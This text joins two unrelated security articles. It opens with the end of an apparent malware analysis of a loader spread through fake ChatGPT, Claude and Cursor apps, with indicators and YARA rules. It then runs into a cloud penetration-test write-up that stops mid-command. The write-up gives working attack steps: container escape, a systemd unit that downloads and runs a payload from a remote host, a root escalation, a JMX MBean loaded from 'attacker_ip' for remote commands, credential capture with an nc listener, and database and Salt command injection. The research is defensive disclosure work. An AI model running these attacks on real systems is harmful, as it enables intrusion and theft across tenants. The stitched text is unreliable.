mutex Local\WindowsSecurity Tor data directory %TEMP%\torbundle\data Tor bridge 1 obfs4 51.89.231[.]85:24526 A44162645CEAA39C7106C49A3F36FD99FF8D8A00 cert=cVNRBh1enpvEGxA0ouu568EDFhWPl9taldydYgiJk77OX4MzoYIRz3qx4q7yHL5bRN60Gg iat-mode=0 Tor bridge 2 obfs4 51.89.228[.]250:21668 BA8BD67D8898CF378D4F73821DEB5657F4BB98DF cert=bEpLLgOwJ9fOJbeHb5r+ronUF2ck5nRd0Jl3zuy7rLoUp732QK2p/CUHjTAfBPCGfcVtSA iat-mode=0 Although we observed an XMRig cryptominer as the final payload in this campaign, the YobaLoader is a generic loader. The operator can supply any PE or PowerShell payload via the signed DNS TXT tasking, so future waves may deliver different malware families. Past Yoba Versions Yoba exposes, through the same hashing algorithm it uses for anti-analysis, the specific process name under which it expects to run. Even without having full visibility into the campaign from the very beginning, analysts can still infer which targeted software was used to lure users by correlating this expected process name with the fake AI applications promoted on the associated GitHub repositories and GitHub Pages sites. HashProcessProduct 0xE6C2F326 Setup.exeChatGPT & Claude Opus 0x56221573 Cursor.exeCursor AI Coding Agent 0x39DE0DD8 UnknownUnknown Earlier YobaDropper observed in the wild appeared in early June 2026. In this campaign, the dropper was sideloaded by a process named Cursor.exe (hash: 0x56221573 ). It remains unclear whether Cursor.exe was a legitimate signed binary. The majority of the functionality in this early variant is consistent with the newer versions of both the dropper and the loader. YobaDropper shows two main differences between its older and newer versions: Unpacking logic: In the oldest version, the buffer is first Base64-decoded and then XOR-decrypted to extract the YobaLoader . In the newer version, the developer removed the Base64-decoding step and performs only XOR decryption, simplifying the unpacking process. Execution method: The second change concerns how YobaLoader is triggered. The newer version uses Scheduled Tasks to start the copied legitimate host and sideload the loader, whereas the first discovered version creates the shortcut msdefender_scheduler{7940-8490-6670-1081}.lnk in the Startup folder. This shortcut executes a copied %APPDATA%\Microsaft Difendir\msdtc.exe and sideloads %APPDATA%\Microsaft Difendir\mswsock.dll . Earlier version of YobaLoader contains language checks and excludes only Russia from infection. In later versions, these checks were moved to the dropper stage and expanded to exclude additional CIS countries, shifting regional filtering earlier in the infection chain. Figure 14 — Exclusion of Russian language from infection. While the overall DGA logic remains the same, the early variant uses the extension .aber[.]ir instead of .dedyn[.]io . In addition, instead of injecting into svchost.exe , this variant injects into a different running process identified only by its hashed name 0x21BD94C2 . The initial loader also implements several anti-analysis techniques that have been removed from the newer versions of the malware: 1. Anti-debugging It enumerates all kernel object types and reads their TypeName values. Each type name is hashed using DJB2 with the seed 0x1DEB until the hash matches 0xCF9EE149 , which corresponds to DebugObject . If a DebugObject is found, it indicates that a debugger is or was active, and in that case the malware terminates itself. Figure 15 — DebugObject via NtQueryObject-ObjectAllTypesInformation. 2. Anti-VM The malware uses a VM/sandbox-detection scoring function while running several hardware fingerprinting checks. The maximum score is 6, and the minimum required to continue the infection chain is 3. The checks include: Hypervisor-present bit and CPUID timing (via RDTSCP ). Hypervisor vendor signature string (CPUID leaf 0x40000000 ). CPU brand string sanity checks (CPUID leaves 0x80000002 – 0x80000004 ). SMBIOS-based firmware fingerprinting ( GetSystemFirmwareTable – RSMB ) Figure 16 — Hypervisor vendor signature string technique. Despite these small differences in early anti-analysis behavior, the Telegram channel and the profile image used as the seed for the DGA remain the same as in the newer variants, indicating that the operator retained the same infrastructure while iterating on the loader’s evasion logic. Conclusion The Yoba campaign shows how attackers can use trusted platforms and the current interest in AI tools to distribute malware in a way that looks believable and harmless at first glance. By packaging their code together with well-known software names and hosting it on GitHub, they lower the chances that users or basic security checks will immediately flag the files as suspicious. Although the underlying techniques are more advanced than typical commodity malware, the main goals remain straightforward: gain a foothold on the victim’s system, avoid easy detection, and then run the attacker’s chosen payload. Organizations should be cautious about installing “AI helpers” or similar tools from unverified repositories and should enforce policies that restrict running software from unknown sources. Combining user awareness with basic technical controls. Indicators of Compromise DescriptionValueGitHub pagesgithub[.]com/gpt-5-6/sol-free-desktop gpt-5-6.github[.]io github[.]com/gpt-5-6/gpt-5-6.github.io github[.]com/gpt-6-astra/gpt-6-astra.github.io gpt-6-astra[.]github[.]io opus-5-0[.]github[.]io github[.]com/opus-5-0/opus-5-0.github[.]ioZIP Files332e3b685e375aa44a5ec98511fc53be821df46a c2b986704406d47dd88ee4e2fcffebc854ff2ce4Signed OpenAI & Anthropic binaries163c81187d8024123912c3c12d905fd5210afcb3 65a3ac8f341ae04982005fd2c4e83627a68793a3YobaDropper17e8639a00bb32b10cb9cf0d292e9441456ce4bb 20238b36645fc63139a76b19a480c6a9166472fa 4ea5b71202b69fc27b06ef9ee3f6f51d6f7b8586 60aece343959a2e1840f6aaeffa38b73ed21af2c 8777db31d8df78f36e4544a132d843dfb2a0f026YobaLoader22661f4bada8167fa0f410b75e53184998990abb 2ecb5548e9774a3d05e8669e8414dcc366929b79 3fef1af3664429e621d3e0f9408cb5102ef02b84 55043ea6d102670c014e2be5a8197e70b7c201cb 79e87a6df59d68b2dbd2c43950df5663d671007c 7dfcee02732ed89f1ddf25d1689863c26de3df15 bead5748d813a9828ddb7603a32e52aa15349768 cf90c4599257e76984a199d98b1fd082b820a54d eeedc5c9007d7f01808285e0ae0c0b451bdba003Telegram imagee7c0e981f81447892995d01ed986c0b462a6f0c5Telegram Channelt[.]me/yoba_fanclubDNSdns[.]google/resolve?name=calm-piano-floats-313.dedyn[.]io&type=TXTITW URLfiles.catbox[.]moe/z5zpy9.datEncrypted Payload7467b6980440ec27c4e0a8d940672c9f24e14216Payload XMRIGea16728f6928dc77deaddee74a6e736dd5f24fc5XMRIG Endpoints3zciedc3enu4muwc5adxciyk6u3juhvhvbv6bfrk2arawlvb7k7ovxad[.]onion:443 51.89.228[.]250:21668 51.89.231[.]85:24526 Yara Rules rule yoba_dropper { meta: author = "@Tera0017/Check Point Research" description = "YobaDropper" strings: $code1 = {00 BB 40 0D 03 00 B9 7C 15 00 00 FF D6 31 C0} $code2 = {BA 05 15 00 00 0F BE 08 84 C9 74 0A 6B D2 21} $code3 = {53 B9 75 EE 40 70 48 83 EC 20} $code4 = {BA 5C CD 17 E5 48 89 C1 E8 73 00 00 00} $code5 = {0F C8 89 C0 4? 39 ?? 74 1? (49 0F AF C0| 48 69 C0 ?? ?? ?? ??) (4C 01 C8| 48 05 ?? ?? ?? ??) 49 89 C? 49 C1 E? 18 45 30 [2] 4? FF ?? EB} condition: uint16(0) == 0x5A4D and 2 of them } rule yoba_loader { meta: author = "@Tera0017/Check Point Research" description = "YobaLoader" strings: $code1 = {B9 80 A8 12 01 FF ?? ?? E9} $code2 = {BA EB 1D 00 00 0F BE 08 84 C9 74 0A 6B D2 21} $code3 = {B9 5B 80 EF B7 E8} $code4 = {BA F5 8B 2E F2 48 89 C1} $code5 = {B5 C2 D2 06 23 D4 E6 64 7D 06 A4 28 64 ED D8 62 9F 82 C5 C3 84 B2 43 FD AE EE CA 24 B3 87 3D 64} $code6 = {1D 0D 13 68 B4 D5 3F 3A 63 22 CF 40 E8 4E 63 DB} $code7 = {40 80 FE 32 74 42 40 80 FE 33 74 66 40 80 FE 31} $code8 = {41 81 F8 A5 DE 6C C2} condition: uint16(0) == 0x5A4D and 2 of them } The post Tricks from the Past deployed via signed ChatGPT and Claude binaries appeared first on Check Point Research .

This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product. Introduction Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure. This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026 . It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026). 1. Gaining initial access through a managed Kubernetes cluster Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud. 1.1. Escaping the worker node First, we created a resource in the cloud’s managed Kubernetes cluster ( v1.25.16+k0s.0 ). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container. kubectl run pod-name-bla \ --image=alpine \ --restart=Never \ --overrides=' { "apiVersion": "v1", "spec": { "hostPID": true, "containers": [ { "name": "priv", "image": "alpine", "command": [ "sh", "-c", "sleep 3600" ], "stdin": true, "tty": true, "securityContext": { "privileged": true } } ] } }' After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine: nsenter --target 1 --mount --uts --ipc --net --pid – bash After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine. Kubelet configuration and API server address Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack. Konnectivity service account token 1.2. Analysis of control plane services After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address ( 192.168.0.4 ) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports: 192.168.0.4:9443 open https status=404 192.168.0.4:2380 open 192.168.0.4:6443 open http status=400 192.168.0.4:8132 open 192.168.0.4:9100 open http status=200 title="Node Exporter" 192.168.0.4:9308 open http status=200 title="kube-state-metrics" Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service. Interaction diagram between control plane and data plane via Konnectivity 1.3. Exploiting Konnectivity To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server , inherited from apiserver-network-proxy in the original Kubernetes. A quick primer on k0s : this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation. Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect . This method accepts a Packet stream. service AgentService { rpc Connect(stream Packet) returns (stream Packet) {} } The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this: //apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26 enum PacketType { DIAL_REQ = 0; DIAL_RSP = 1; ... } message Packet { PacketType type = 1; oneof payload { DialRequest dialRequest = 2; DialResponse dialResponse = 3; Data data = 4; CloseRequest closeRequest = 5; CloseResponse closeResponse = 6; CloseDial closeDial = 7; } } message DialRequest { // tcp or udp? string protocol = 1; // node:port string address = 2; // random id for client, maybe should be longer int64 random = 3; } The server reads any Packet packets from the stream initiated by the agent (worker node): //apiserver-network-proxy/pkg/server/server.go:721 in, err := stream.Recv() ... recvCh <- in Next, the packets go to the backend manager: //apiserver-network-proxy/pkg/server/server.go:748 func (s *ProxyServer) serveRecvBackend(...) { for pkt := range recvCh { switch pkt.Type { Then comes the most interesting part: //apiserver-network-proxy/pkg/server/server.go:888 case client.PacketType_DIAL_REQ: req := pkt.GetDialRequest() klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address) s.handleDialRequest(pkt, backend) In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ). //apiserver-network-proxy/pkg/server/server.go:921 func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) { ... dialReq := pkt.GetDialRequest() resp.GetDialResponse().Random = dialReq.Random start := time.Now() conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus ( - /run/dbus/system_bus_socket ) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane: org.freedesktop.DBus org.freedesktop.PackageKit org.freedesktop.PolicyKit1 org.freedesktop.login1 org.freedesktop.systemd1 com.ubuntu.SoftwareProperties Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID: busctl --address=unix:path=/tmp/master-dbus.sock \ call org.freedesktop.login1 \ /org/freedesktop/login1 \ org.freedesktop.login1.Manager \ SetUserLinger ubb 997 true false The following sockets were then opened: /run/user/997/bus /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.) Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service: StartTransientUnit( name: string, mode: string, properties: a(sv), aux: a(sa(sv)) ) -> job object path The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line: ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '" As a result, we successfully received a callback from the control plane. Konnectivity-server context and node network interfaces Mirantis, the company behind the k0s project, confirmed the vulnerability . 1.4. Privilege escalation on the host Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later). In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation. To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges. rm -rf /tmp/lpe mkdir /tmp/lpe cd /tmp/lpe unshare -rm sh -c ' mkdir l u w m && cp /usr/bin/python3 l/ && chmod 755 l/python3 && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/* ' getcap /tmp/lpe/u/python3 /tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")' Confirmation of command execution with root privileges Gaining root privileges opened up several interesting attack vectors: We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack. 2. Adventures in the overlay network 2.1. Victoria stack An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics. When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata: "discoveredLabels": { "address": "http://100.64.1.1:6897/metrics", "__meta_url": "CENSORED", "metrics_path": "/metrics", "scheme": "http", "scrape_interval": "2m0s", "scrape_timeout": "2m0s", "cluster_id": "676767", "customer": "customerID", "job": "http", "profile": "kubernetes", "vds_id": "1337", "version": "1.0" } It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address. We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud. Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs. Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used. Private SSH key in a VictoriaLogs record We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters. Process privileges on the host and available actions in Kubernetes Logs from other types of services could likely reveal additional sensitive data that would further increase the impact. 2.2. Compromising managed Kafka instances We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry . Discovered Java RMI service on port 9999 The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure: JmxCreateMBean.java : connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL). JmxInvoke.java : invokes the selected MBean method through the JMX Registry. ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution. The code that handles the connection and initialization of the MBean component looks like this: //JmxCreateMBean.java ... import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; public class JmxCreateMBean { private static final class RewritingSocketFactory extends RMISocketFactory { private final String fromHost; private final String toHost; RewritingSocketFactory(String fromHost, String toHost) { ... } @Override public Socket createSocket(String host, int port) throws IOException { ... } @Override public ServerSocket createServerSocket(int port) throws IOException { ... } } public static void main(String[] args) throws Exception { ... RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3])); String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]); try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) { var mbsc = connector.getMBeanServerConnection(); try { ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5])); System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName()); } catch (InstanceAlreadyExistsException e) { System.out.println("EXISTS " + args[5]); } } } } Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding: // Exec.java import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.util.Base64; public class Exec implements ExecMBean { @Override public String run(String cmd) throws Exception { Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start(); byte[] out = p.getInputStream().readAllBytes(); int rc = p.waitFor(); return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8); } @Override public String getB64(String path) throws Exception { return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path))); } @Override public String putB64(String path, String b64) throws Exception { byte[] data = Base64.getDecoder().decode(b64); Files.write(Path.of(path), data); return "wrote " + data.length + " bytes"; } } After compiling our custom MBean , we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it. <html> <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet> </html> We then perform the following steps: Create a standard MLet loader inside the Kafka JVM . Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component ( DefaultDomain:type=MLet ). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html . Call the run(String cmd) method of the loaded MBean to achieve RCE on the host. Kafka process context and node network interfaces This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network. 2.3. Credential leakage through redis-exporter The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled: //redis_exporter/exporter/http.go:47 func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) { target := r.URL.Query().Get("target") ... if !strings.Contains(target, "://") { target = "redis://" + target } u, err := url.Parse(target) ... opts := e.options ... _, err = NewRedisExporter(target, opts) ... Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379 , makes it possible to intercept the following credentials: http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server> AUTH command in an intercepted Redis request The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data. Diagnostic information of the Valkey instance (Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services). 2.4. Compromise of managed PostgreSQL (Patroni) clusters The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 ( Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config , which contained the Patroni configuration. Patroni configuration in etcd { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "id", "archive_mode": "always", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } } } Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges: Update the Patroni configuration with the modified archive_command : curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq Update the configuration again to add the standby_cluster parameter: { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "rce", "archive_mode": "on", "archive_timeout": "10", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } }, "standby_cluster": { "host": "192.0.2.1", "port": 5432 } } After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following: cannot be a real primary in standby cluster Demoting self (demote-cluster) received fast shutdown request checkpoint starting: shutdown immediate Postgres then restarts, and the archiving process runs and executes the injected command: PostgreSQL process context and node network interfaces This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts. Database and S3 access parameters in a backup file This storage holds backups not only of the current instance but also of all other databases in the cloud. List of backup storage locations in S3 3. Attack on SaltStack management infrastructure After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service. 3.1. Analysis of salt fs The first step was to dump the entire Salt master file system for subsequent static analysis: Fragment of the Salt Master file list It contained numerous files. salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do mkdir -p "/tmp/dump/$(dirname "$f")" salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null done Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script ( _pillar/somebase.py ) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method: sql = query.format( minion_id=minion_id, pillar={pillar, results}, grains=grains, ) loaded_items = db_connections[db_alias].load_object_list(sql) A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible. Database error during pillar processing 3.2. Exploiting the SQLi This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS. Fragment of the table list in the cloudsmth schema Even more notable was the salt-masters table, which held authentication tokens for all Salt masters. Records with Salt Master authentication tokens With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud: curl -k https://salt-master:8000 -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Auth-Token: REDACTED" -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]' By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services , in a single step. 4. Other ways to attack the cloud It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases. 4.1. Exploiting a vulnerability in Managed Valkey During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243 . At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command: valkey_version=7.2.11 redis_version=7.2.4 redis_git_sha1=97b6663c redis_git_dirty=0 redis_build_id=a75ca2f023d97d88 gcc_version=13.3.0 arch_bits=64 os=Linux 6.8.0-124-generic x86_64 executable=/usr/bin/valkey-server The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64 . CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle: NoExecPaths=/ ExecPaths=/usr/bin/valkey-server /usr/lib /lib CapabilityBoundingSet= NoNewPrivileges=true PrivateUsers=true ProtectSystem=strict ProtectHome=true SystemCallFilter=@system-service SystemCallFilter=~ @privileged @resources These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods. Valkey process context and Salt grains parameters The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master. 4.2. MySQL The MySQL database user didn’t have root privileges when the resource was created. DROP TABLE IF EXISTS mysql.global_grants; CREATE TABLE mysql.global_grants ( USER char(32) NOT NULL DEFAULT '', HOST char(255) NOT NULL DEFAULT '', PRIV char(32) NOT NULL DEFAULT '', WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N', PRIMARY KEY (USER, HOST, PRIV) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0; However, the application logic allowed this user to drop and recreate the table with dynamic privileges: DROP TABLE IF EXISTS mysql.user; CREATE TABLE mysql.user ( Host char(255) NOT NULL DEFAULT '%', User char(32) NOT NULL DEFAULT '', Select_priv enum('N','Y') NOT NULL DEFAULT 'Y', Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y', Update_priv enum('N','Y') NOT NULL DEFAULT 'Y', Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y', Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y', Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y', Process_priv enum('N','Y') NOT NULL DEFAULT 'Y', File_priv enum('N','Y') NOT NULL DEFAULT 'Y', Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y', References_priv enum('N','Y') NOT NULL DEFAULT 'Y', Index_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y', Super_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y', Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y', Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y', Event_priv enum('N','Y') NOT NULL DEFAULT 'Y', Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y', ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '', ssl_cipher blob NOT NULL, x509_issuer blob NOT NULL, x509_subject blob NOT NULL, max_questions int unsigned NOT NULL DEFAULT 0, max_updates int unsigned NOT NULL DEFAULT 0, max_connections int unsigned NOT NULL DEFAULT 0, max_user_connections int unsigned NOT NULL DEFAULT 0, plugin char(64) NOT NULL DEFAULT 'caching_sha2_password', authentication_string text, password_expired enum('N','Y') NOT NULL DEFAULT 'N', password_last_changed timestamp NULL DEFAULT NULL, password_lifetime smallint unsigned DEFAULT NULL, account_locked enum('N','Y') NOT NULL DEFAULT 'N', Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Password_reuse_history smallint unsigned DEFAULT NULL, Password_reuse_time smallint unsigned DEFAULT NULL, Password_require_current enum('N','Y') DEFAULT NULL, User_attributes json DEFAULT NULL, PRIMARY KEY (Host, User) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0; After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges: INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y'); INSERT 